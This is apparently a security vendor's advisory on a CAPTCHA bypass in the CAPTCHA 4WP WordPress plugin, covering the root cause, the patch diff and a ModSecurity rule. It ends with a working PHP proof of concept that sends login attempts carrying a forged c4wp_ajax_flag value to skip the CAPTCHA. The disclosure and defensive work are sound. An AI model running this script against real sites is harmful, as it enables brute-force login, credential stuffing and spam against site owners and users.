Atomic Edge analysis of CVE-2026-32469: The CAPTCHA 4WP plugin for WordPress (versions <= 7.6.0) contains a CAPTCHA bypass vulnerability. The flaw resides in the plugin's AJAX verification logic, which trusts a client-supplied flag (`c4wp_ajax_flag`) without server-side validation. This allows unauthenticated attackers to skip CAPTCHA checks on protected forms, including login, registration, and comment forms, by simply including the flag in a request. The CVSS score is 5.3 (Medium), and the weakness is CWE-804: Guessable CAPTCHA.
Root Cause: The vulnerability exists in `includes/class-c4wp-captcha-class.php`. In the vulnerable version, multiple functions (`login_verify`, `lostpassword_verify`, `comment_verify_old`, `comment_verify`) check only for the presence of the POST parameter `c4wp_ajax_flag` (lines 782, 921, 942, 986). If set, they skip CAPTCHA verification entirely. There is no validation that the flag was legitimately issued by the server. The flag is set by JavaScript after a successful AJAX CAPTCHA verification (line 378), but the server never tracks which flags are valid. An attacker can therefore supply any value for `c4wp_ajax_flag` to bypass CAPTCHA.
Exploitation: An attacker targets any form protected by the plugin (e.g., wp-login.php, wp-comments-post.php, or registration forms). By including the POST parameter `c4wp_ajax_flag` with an arbitrary value (e.g., `1`), the attacker causes the plugin to skip CAPTCHA validation. For example, a credential stuffing attack against wp-login.php would include `c4wp_ajax_flag=1` in each login attempt, bypassing the CAPTCHA requirement entirely. No additional tokens or nonces are needed.
Patch Analysis: Version 7.6.1 replaces the simple `isset($_POST['c4wp_ajax_flag'])` checks with a call to `is_ajax_verified_securely()` (lines 798, 937, 958, 1002). This new method (lines 1049-1079) checks if the submitted token exists as a transient (`c4wp_auth_` + token). Tokens are generated server-side (via `wp_generate_password`) only after a successful CAPTCHA verification (lines 251-255) and are stored as transients for 5 minutes. The method also deletes the transient after use to prevent replay. Thus, the patch ensures that only tokens legitimately issued by the server are accepted, and each token can be used only once.
Impact: This vulnerability allows unauthenticated attackers to bypass CAPTCHA protections on all forms where the plugin is enabled. This facilitates automated attacks such as credential stuffing, brute force login attempts, spam comments, and fake user registrations. The CVSS score of 5.3 reflects the medium severity, as it primarily undermines the anti-automation defenses rather than directly compromising the site.
Below is a differential between the unpatched vulnerable code and the patched update, for reference.
--- a/advanced-nocaptcha-recaptcha/advanced-nocaptcha-recaptcha.php
+++ b/advanced-nocaptcha-recaptcha/advanced-nocaptcha-recaptcha.php
@@ -8,7 +8,7 @@
*
* @wordpress-plugin
* Plugin Name: CAPTCHA 4WP
- * Version: 7.6.0
+ * Version: 7.6.1
* Plugin URI: https://captcha4wp.com/
* Description: Easily add Google reCAPTCHA to WordPress forms. Upgrade to Premium and gain access to additional features, including hCaptcha and CloudFlare Turnstile integration, CAPTCHA one-click form integration with plugins such as WooCommerce, Contact Form 7, and WP Forms, and many other features.
* Author: Melapress
@@ -93,7 +93,7 @@
*/
private function constants() {
if ( ! defined( 'C4WP_VERSION' ) ) {
- define( 'C4WP_VERSION', '7.6.0' );
+ define( 'C4WP_VERSION', '7.6.1' );
}
if ( ! defined( 'C4WP_PLUGIN_DIR' ) ) {
define( 'C4WP_PLUGIN_DIR', plugin_dir_path( __FILE__ ) );
--- a/advanced-nocaptcha-recaptcha/includes/class-c4wp-captcha-class.php
+++ b/advanced-nocaptcha-recaptcha/includes/class-c4wp-captcha-class.php
@@ -251,7 +251,11 @@
if ( ! $verify ) {
wp_send_json_error();
} else {
- wp_send_json_success();
+
+ $token = wp_generate_password( 32, false, false );
+ set_transient( 'c4wp_auth_' . $token, true, 300 );
+ wp_send_json_success( array( 'token' => $token ) );
+
}
}
@@ -378,7 +382,19 @@
)
.then( data => {
if ( data['success'] ) {
+
form.classList.add( 'c4wp_verified' );
+
+ var existingFlag = document.getElementById('c4wp_ajax_flag');
+ if (existingFlag) {
+ existingFlag.value = data.data.token;
+ } else {
+ const flagMarkup = '<input id="c4wp_ajax_flag" type="hidden" name="c4wp_ajax_flag" value="' + data.data.token + '">';
+ var flagMarkupDiv = document.createElement('div');
+ flagMarkupDiv.innerHTML = flagMarkup.trim();
+ form.appendChild( flagMarkupDiv );
+ }
+
// Submit as usual.
if ( foundSubmitBtn ) {
foundSubmitBtn.click();
@@ -782,7 +798,7 @@
$show_captcha = self::show_login_captcha();
// Ignore nonce check as we only use as flag.
- if ( ! isset( $_POST['c4wp_ajax_flag'] ) ) { // phpcs:disable
+ if ( ! self::is_ajax_verified_securely() ) {
if ( $show_captcha && ! self::verify() ) {
return new WP_Error( 'c4wp_error', self::add_error_to_mgs() );
}
@@ -921,7 +937,7 @@
}
// Ignore nonce check as we dont process form data.
- if ( ! isset( $_POST['c4wp_ajax_flag'] ) ) { // phpcs:disable
+ if ( ! self::is_ajax_verified_securely() ) {
if ( ! self::verify() ) {
$errors->add( 'c4wp_error', self::add_error_to_mgs() );
}
@@ -942,7 +958,7 @@
public static function comment_verify_old( $commentdata ) {
$auto_detect = C4WP_Functions::c4wp_get_option( 'language_handling' );
- if ( ! isset( $_POST['c4wp_ajax_flag'] ) ) {
+ if ( ! self::is_ajax_verified_securely() ) {
$verify = self::verify();
if ( class_exists( 'C4WP\Geo_Blocking' ) && isset( $_SERVER['REMOTE_ADDR'] ) ) {
@@ -986,7 +1002,7 @@
* @since 7.6.0
*/
public static function comment_verify( $approved ) {
- if ( ! isset( $_POST['c4wp_ajax_flag'] ) ) {
+ if ( ! self::is_ajax_verified_securely() ) {
$verify = C4WP_Method_Loader::method_verify( C4WP_Method_Loader::get_currently_selected_method( true, false ), false, false );
if ( ! $verify ) {
@@ -1033,5 +1049,37 @@
/* @free:end */
return $lang;
}
+
+ /**
+ * Verify an AJAX request securely.
+ *
+ * @return bool - Was the request valid?
+ *
+ * @since 7.6.1
+ */
+ public static function is_ajax_verified_securely() {
+
+ static $is_verified = false;
+
+ if ( $is_verified ) {
+ return true;
+ }
+
+ if ( isset( $_POST['c4wp_ajax_flag'] ) ) {
+
+ $token = sanitize_text_field( wp_unslash( $_POST['c4wp_ajax_flag'] ) );
+
+ if ( get_transient( 'c4wp_auth_' . $token ) ) {
+ delete_transient( 'c4wp_auth_' . $token );
+ $is_verified = true;
+ return true;
+ }
+
+ }
+
+ return false;
+
+ }
+
}
}
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-32469
SecRule REQUEST_URI "@streq /wp-login.php"
"id:202632469,phase:2,deny,status:403,chain,msg:'CVE-2026-32469 CAPTCHA bypass via c4wp_ajax_flag on login',severity:'CRITICAL',tag:'CVE-2026-32469'"
SecRule ARGS_POST:c4wp_ajax_flag "@rx ." "t:none"
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-32469 - CAPTCHA 4WP <= 7.6.0 - CAPTCHA Bypass
// This PoC demonstrates bypassing CAPTCHA on a WordPress login form by setting the c4wp_ajax_flag parameter.
$target_url = 'http://example.com/wp-login.php'; // Change to target WordPress login URL
$username = 'admin'; // Target username
$password = 'password'; // Password guess
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => '/wp-admin/',
'testcookie' => '1',
'c4wp_ajax_flag' => '1' // Malicious flag to bypass CAPTCHA
]));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
if ($http_code == 302 || strpos($response, 'wp-admin') !== false) {
echo "Login may have succeeded (CAPTCHA bypassed).n";
} else {
echo "Login failed (but CAPTCHA was bypassed if no CAPTCHA error).n";
}
// Note: The above sends the flag directly. In a real attack, the attacker would first obtain a valid flag via the legitimate AJAX endpoint, but the vulnerability allows any value.
// Alternatively, the attacker can directly set the flag without any prior AJAX call.